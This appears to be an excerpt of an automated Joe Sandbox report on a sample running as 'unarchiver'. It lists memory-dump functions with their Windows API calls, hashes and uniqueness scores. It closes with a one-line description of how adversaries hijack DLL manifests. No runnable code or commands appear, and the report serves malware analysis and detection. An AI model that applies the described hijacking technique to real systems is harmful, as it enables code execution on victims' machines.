DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0108ADA7

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 25ae0a8c4bf7ef8a9d8d6ca9b8663ed534eae97daa414a469caa5c93b3644337
Instruction ID: bf818c03ed14037277ee7b9952367832da962ea9481ce7f25263b0d96015ab7f
Opcode Fuzzy Hash: 25ae0a8c4bf7ef8a9d8d6ca9b8663ed534eae97daa414a469caa5c93b3644337
Instruction Fuzzy Hash: BD21AE72500204AFEB219F68DC44F6ABBACEF08320F04886AE986DB651D634E5498B71

Uniqueness

Uniqueness Score: -1.00%

Function 0108A370 Relevance: 1.6, APIs: 1, Instructions: 80
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A40C

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 7a2eef9638a2cbbfa916be60287d80a03a2d5be1d0a8f23df4fa335ca63738de
Instruction ID: 88af0802f818950787e2a45739eeec8a2a38e130a6238622317bf4a3c635e5d7
Opcode Fuzzy Hash: 7a2eef9638a2cbbfa916be60287d80a03a2d5be1d0a8f23df4fa335ca63738de
Instruction Fuzzy Hash: 60218D71208344AFE721CF29DC84F92BFECEF45620F08849AE985DB652D264E848CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0108B276 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0108B2F3

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a0fb40dfcbfde6232c2670aac13f686e56c71457a2a8d2e0dd39b8327e09c96b
Instruction ID: 3822f473e141cb7d56afc14886c2f9f0368a5c6d7fac04295cd9d810949f5622
Opcode Fuzzy Hash: a0fb40dfcbfde6232c2670aac13f686e56c71457a2a8d2e0dd39b8327e09c96b
Instruction Fuzzy Hash: EB21D372504204AFEB21DF69DC44F6AFBECEF08320F04896AED85DB651D234E5098BB5

Uniqueness

Uniqueness Score: -1.00%

Function 0108A850 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A8DE

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f4e24cda71622fc06ed10be2dd51222b6cf8c393c1ae23127c2b7af9c18d7465
Instruction ID: 5f0a7a150f9eb5699d27828ba522d0869d74b13d21d63330c078a61b129d85f2
Opcode Fuzzy Hash: f4e24cda71622fc06ed10be2dd51222b6cf8c393c1ae23127c2b7af9c18d7465
Instruction Fuzzy Hash: 4121A471508380AFEB128B24DC44F66BFA8EF46720F0984EBED84DF553D264A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0108A933 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A9C1

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: c89f8d3df008f6401a54024c04717474e8724a8f8c58ce13e91dcb06293388ff
Instruction ID: 7c47a7b12edd60449fdb1fdeb7a883d438e3c0e4e44d9843b08025e7d7d27a7c
Opcode Fuzzy Hash: c89f8d3df008f6401a54024c04717474e8724a8f8c58ce13e91dcb06293388ff
Instruction Fuzzy Hash: 8121A171009380AFDB22CF25DC44F96BFB8EF46310F0884DAE9859F252D264A448CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0108A5FE Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0108A67D

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1a034a9384c62281c4d09fd4dbd747664debbba52553ef75c3ccc49732007b7c
Instruction ID: 5855ebd2d6bf8fda7a0b2a0951eb2f92e486661dd29a9b7ea4c52fa37771957d
Opcode Fuzzy Hash: 1a034a9384c62281c4d09fd4dbd747664debbba52553ef75c3ccc49732007b7c
Instruction Fuzzy Hash: 2921AE71604240EFE721DF29DD44F66FBE8EF48324F0884AAEA858B652D335E414CB75

Uniqueness

Uniqueness Score: -1.00%

Function 0108A78F Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A815

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f75df9f96b4409b9cc6293c368fb6f301108a8becb4ea0e068c3461525709de8
Instruction ID: f630b8131e9a7f038266878db66b0cd3d4da28f97fb2c6fffedd489418ee9629
Opcode Fuzzy Hash: f75df9f96b4409b9cc6293c368fb6f301108a8becb4ea0e068c3461525709de8
Instruction Fuzzy Hash: E221D8755097806FE7128B25DC40FA2BFA8DF47720F0980DBED859B253D268A909C775

Uniqueness

Uniqueness Score: -1.00%

Function 0108A6D4 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0108A748

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 5029495efcf7482039b14ea18fa2ae7f694ad8076e667e6df3107e73cd038d0f
Instruction ID: dc9e3213b1a7dac73b8b6a235bf5dabfe68ed1f6ed0afb3b2aafd984c2467575
Opcode Fuzzy Hash: 5029495efcf7482039b14ea18fa2ae7f694ad8076e667e6df3107e73cd038d0f
Instruction Fuzzy Hash: 0721907550D7C49FD7138B259C95692BFB4AF02220F0980EBDCC5CF563D2689908C772

Uniqueness

Uniqueness Score: -1.00%

Function 0108AA0B Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0108AA8B

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 03fbaa358dc6fcb6f93d7361b733cdcc6e525e4272bed37ea0d6f6e630091753
Instruction ID: c75eb004fd0eeee5a49afba0085a34bf1b0f4d31ad36fcfb6c2f7485dffdf6c6
Opcode Fuzzy Hash: 03fbaa358dc6fcb6f93d7361b733cdcc6e525e4272bed37ea0d6f6e630091753
Instruction Fuzzy Hash: FF21A1715083809FE752CB29DC55B92BFE8AF06224F0D80EAE984CB553D324D949CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0108A392 Relevance: 1.6, APIs: 1, Instructions: 69
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A40C

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a70372d6d9e7bf9d6bd84465a83a1e1916d2104978c2d911332bfedd4943308a
Instruction ID: d9611d1876ce9ece658d5e409730d51f200ac0f27fdce795158af0cf8fce219a
Opcode Fuzzy Hash: a70372d6d9e7bf9d6bd84465a83a1e1916d2104978c2d911332bfedd4943308a
Instruction Fuzzy Hash: DA21A171204204AFEB60DE19CC84F66FBECEF44710F04C4AAED85DB651D664E449CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0108A962 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A9C1

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d00e6a74544b1425eb06bbe19a32264a334790c2c396cfec11c0662d4c63a3d1
Instruction ID: 7dddfaa356d63017bac36053152e2b1f333a6d9ec6df2ae8dab99665627756d4
Opcode Fuzzy Hash: d00e6a74544b1425eb06bbe19a32264a334790c2c396cfec11c0662d4c63a3d1
Instruction Fuzzy Hash: 44110471504200EFEB21DF55DD44F5AFBE8EF44720F0484ABED859B641D234A044CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0108A882 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A8DE

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e753d3fe3ae67bad972323d1a66bf746e906ad20098393175d56847afdac2dbb
Instruction ID: 57186d1d74192fab4ece67ba11b0053e1bbba720c00fdfba3dafd5b699626537
Opcode Fuzzy Hash: e753d3fe3ae67bad972323d1a66bf746e906ad20098393175d56847afdac2dbb
Instruction Fuzzy Hash: AB11C471504200EFEB21DF58DD44F56FBE8EF44720F1484AAED899B641D274A405CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0108A2AE Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0108A30C

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b0687370a11d35209b35fa97b772ebabc83c36fde88d81930f0f5f2023beec07
Instruction ID: 89b90f017564660df772ff499ea79f258c2a85b66395244ded9458f6a4b06bab
Opcode Fuzzy Hash: b0687370a11d35209b35fa97b772ebabc83c36fde88d81930f0f5f2023beec07
Instruction Fuzzy Hash: 6E118C755093C09FDB238B25DC94A52BFB4DF06220F0980DBED858F663D265A849CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0108B1B4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0108B208

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: b7dcd55de6042995dade02e7aaa7dde6b0a36a0165ec02f5c98c4e3b9a3e45ec
Instruction ID: 302d43648a9e75247865036771b2685f7cec92b734c80da144dac42ad96f90dc
Opcode Fuzzy Hash: b7dcd55de6042995dade02e7aaa7dde6b0a36a0165ec02f5c98c4e3b9a3e45ec
Instruction Fuzzy Hash: 76117071409384AFDB12CF25DD88B56FFA4DF46220F0880EAED858F253D279A548CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0108A7C2 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,C4FF5C75,00000000,00000000,00000000,00000000), ref: 0108A815

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 1b266a9e48f6ac9a6bf1af9c93d89f40448f8c149089330bc0f541987f677eca
Instruction ID: 2e83ee47227606354122bfb89080e8270b2bb388bd25cc647a22e76c6c2e06cb
Opcode Fuzzy Hash: 1b266a9e48f6ac9a6bf1af9c93d89f40448f8c149089330bc0f541987f677eca
Instruction Fuzzy Hash: A3012631504200EFE720DB19DC44F66FBD8DF48720F14C0A7ED85AB342D278E4098AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0108AA46 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0108AA8B

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: cfdba30b50ade13c5d8d97cb8eed0e08351d7a372aedaa6ddd73a5b4b2cacd0c
Instruction ID: 28ef53b1b82f1afe49315a41277e21fac26d06acc5f89dc51a499ecc3abf3b30
Opcode Fuzzy Hash: cfdba30b50ade13c5d8d97cb8eed0e08351d7a372aedaa6ddd73a5b4b2cacd0c
Instruction Fuzzy Hash: DD116171608240DFEB50DF29D985B56FBD8EF04620F08C4ABDD89CBA52E774E544CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0108ABE6 Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 0108AC36

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 1b50c80b978ebe2ad17a9949fa5efcf9d3937fdab0308e3efc446002653eed16
Instruction ID: ffdfbee297a603ff2a2af991b705d795483bfc2bb94145da1cc9eac0e10640e2
Opcode Fuzzy Hash: 1b50c80b978ebe2ad17a9949fa5efcf9d3937fdab0308e3efc446002653eed16
Instruction Fuzzy Hash: 25017571540200ABD710DF15DD45B26FBE8FB84B20F14C15AED099B741E271B515CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0108A716 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0108A748

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f271bbed09fe360f201cbc2011fb887bbd525ecd3e2bfed0a46776bbc61f5f75
Instruction ID: c6de66184b28924148089e011493f3d0f3ec4bbe91fcf01938f5afc3164e79aa
Opcode Fuzzy Hash: f271bbed09fe360f201cbc2011fb887bbd525ecd3e2bfed0a46776bbc61f5f75
Instruction Fuzzy Hash: 4A017175604240DFEB51EF29DD89755FBE4EF44220F18C0ABDD8ACB652D278E444CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0108A2DA Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0108A30C

Memory Dump Source

Source File: 00000008.00000002.564928453.000000000108A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_108a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 844ace5606bb01a8e792e9f9c4f9878dc3fb0619c55ea72b5e49ac0461ab3a03
Instruction ID: a257cce2b01859a56992bf0c2d7f9e6e4d5c9f508e08cafc7c7fcecca2a4550a
Opcode Fuzzy Hash: 844ace5606bb01a8e792e9f9c4f9878dc3fb0619c55ea72b5e49ac0461ab3a03
Instruction Fuzzy Hash: 22F08C34508244DFDB20DF19E888765FBE4EF04721F08C09AED898B716D3B9E548CE62

Uniqueness

Uniqueness Score: -1.00%

Function 02C802C0 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca10bb1d316a9d17852c21fa9214d330f91e9a7af3aab3779cdf6e759804b9e
Instruction ID: dfbd4bd90b69e00ea34b89d95b87a1dc82e7e855409eb3781eb523c0b3f8702c
Opcode Fuzzy Hash: 3ca10bb1d316a9d17852c21fa9214d330f91e9a7af3aab3779cdf6e759804b9e
Instruction Fuzzy Hash: 47B16475601114EFC728FF64E564A5E7BB6FF88311B508928EA069F3A8EF359D01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02C80C79 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1929eb5609cc29ddc7bd5fa9c175d6543b0e39dc2afd3e6d6123191806624f84
Instruction ID: fc89e792dce5a606f2845485d0eb99a4f6ec05e5d5895700c7e227baf27f790f
Opcode Fuzzy Hash: 1929eb5609cc29ddc7bd5fa9c175d6543b0e39dc2afd3e6d6123191806624f84
Instruction Fuzzy Hash: 1B214771B042458FCF59EB3988106AE7FDBBFD6200F54442CD582DB381EE359A06D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02C80C88 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a757f14a34aa36519736a474167db356d86fd0a2ca2802da8006d3b8a1760b
Instruction ID: b1d2d0bfa40535292de9110f765294c2757c496ccd8f33a7cc218adea606b8fa
Opcode Fuzzy Hash: f0a757f14a34aa36519736a474167db356d86fd0a2ca2802da8006d3b8a1760b
Instruction Fuzzy Hash: C721F331B006058FCB54EB3AC4506AEBBDABFD5600B54882CD586DB381EF75EA06D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02C80B80 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29286a6980b442605f9b16194bce5e4193e36c29c62056436a82b5d67417be49
Instruction ID: e52949af8ec0adc61a55a6d0f3269c2bc694250c78289f75d02e36bd54d51ffe
Opcode Fuzzy Hash: 29286a6980b442605f9b16194bce5e4193e36c29c62056436a82b5d67417be49
Instruction Fuzzy Hash: CB115436B10118AFCB15AB78D85499E7FF6BF88310B054979E205E7364EA319909C791

Uniqueness

Uniqueness Score: -1.00%

Function 010907F8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.564948089.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18f80d607b3b66cb2ac25a1a6c180b24eeea5ce8271d53e1ea8e5ae88848e736
Instruction ID: 90aa17a29a1c344694634b98cb525934f35d7c14a8b600a6a4ea58e591abb4af
Opcode Fuzzy Hash: 18f80d607b3b66cb2ac25a1a6c180b24eeea5ce8271d53e1ea8e5ae88848e736
Instruction Fuzzy Hash: B50184B240D244AFD701CB15AC45896FBFCEF86620B04C56EFC8987602E265A9198BA2

Uniqueness

Uniqueness Score: -1.00%

Function 010905D0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.564948089.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 543fad2c4d3ccff0e3b0eeddd4fb934d765ebba626a9fe65f410c11bb735434c
Instruction ID: 8c58398dc5af9356408472d1dadf842547a06661c41a6c8311f0e6570cdbb83a
Opcode Fuzzy Hash: 543fad2c4d3ccff0e3b0eeddd4fb934d765ebba626a9fe65f410c11bb735434c
Instruction Fuzzy Hash: 900186765097806FD7128B16EC44862FFF8DE86620709C49FEC499B612D125A809CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0109081E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.564948089.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60d4e2427ba924a47a8d0af482903c45b38974d8359d84d44d68113f0b254ee
Instruction ID: cf3e6820d5132d45d59853a9e6011c498b0106f0ed9e95c6c25d54a63ccccd31
Opcode Fuzzy Hash: c60d4e2427ba924a47a8d0af482903c45b38974d8359d84d44d68113f0b254ee
Instruction Fuzzy Hash: C4F08CB2805204AFD200DF19ED458A6F7ECDF84621B18C56EEC098B701E276AA158AE2

Uniqueness

Uniqueness Score: -1.00%

Function 02C80C30 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4c72fd630c266a31cbbf3343ccb3abac0f667426de6b66c3b6a8f6a64683011
Instruction ID: 337385b77ce284444ccf619eaa497050d7f12db64b819e75a873ec1e60d11edc
Opcode Fuzzy Hash: b4c72fd630c266a31cbbf3343ccb3abac0f667426de6b66c3b6a8f6a64683011
Instruction Fuzzy Hash: 19E06D31F043586FCB599ABC54115AE7FA6DB86350F1149BAD048DB242D9368C46C740

Uniqueness

Uniqueness Score: -1.00%

Function 010905F6 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.564948089.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faeda5f15d969062e13e4b940c27522399b89f31ba68cb791c1696edac593456
Instruction ID: 867d94c1fc2aeec0b363632a390063b4908db73cb171ae95906dfd0de41b53fc
Opcode Fuzzy Hash: faeda5f15d969062e13e4b940c27522399b89f31ba68cb791c1696edac593456
Instruction Fuzzy Hash: A8E06D766006009B9650CF0AEC45452F7D8EB84731B18C06BDC0E8B711E139B5058EA5

Uniqueness

Uniqueness Score: -1.00%

Function 02C80C40 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107d2e871a3cf4f5f65ca64c11b72bf34b6976008c29fff1ac5ebe0b937ac949
Instruction ID: 5bcaa7522e33bc4cd9ad9a78c98224a558725988fb92589d6d4af3433a0a0885
Opcode Fuzzy Hash: 107d2e871a3cf4f5f65ca64c11b72bf34b6976008c29fff1ac5ebe0b937ac949
Instruction Fuzzy Hash: A7D01231F0431C6BCB58EABD585056E7EEADB84650F11847D9008D7340ED329D418380

Uniqueness

Uniqueness Score: -1.00%

Function 010823F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.564916666.0000000001082000.00000040.00000800.00020000.00000000.sdmp, Offset: 01082000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1082000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ff981a79d687256a6938ef8789134e027dba2d8865809b383640ecc2fe7e219
Instruction ID: a1bbb671818282cddf7b786151b39a9efaef8365f9a40ffb1520ff6d0e2ca55d
Opcode Fuzzy Hash: 8ff981a79d687256a6938ef8789134e027dba2d8865809b383640ecc2fe7e219
Instruction Fuzzy Hash: 36D05E79209A814FE3269A1CD1A9B953FE4AB51B04F4644FAE8808B763C768D5D1D220

Uniqueness

Uniqueness Score: -1.00%

Function 02C80DBE Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f2fbf2987289ed1bf163c776ac385d6c97ecb2622c37be532eb4f0eea29dde
Instruction ID: 6a7d7c5681b9dbe9d08c5f2a6b130675bc511a564f2f75b15901ae96fd319614
Opcode Fuzzy Hash: 02f2fbf2987289ed1bf163c776ac385d6c97ecb2622c37be532eb4f0eea29dde
Instruction Fuzzy Hash: ADD012302002548FC709B778D929A357FEA6BC574CF08CAA4D0084F362EA35E845D680

Uniqueness

Uniqueness Score: -1.00%

Function 02C80DC0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.565429161.0000000002C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2c80000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce64ad818d35a014eaf157e8234f1e4db1a86d24f4bbc0cabc96263a3fd3c702
Instruction ID: fd5a1cbfa7adcd6c10dbc833d965b104d7e7a020ad4befbd24e4ce789f50deed
Opcode Fuzzy Hash: ce64ad818d35a014eaf157e8234f1e4db1a86d24f4bbc0cabc96263a3fd3c702
Instruction Fuzzy Hash: F8C012302002148BC708B768D919A257BEA67C0748F04CA6490080B361EA34E844C680

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
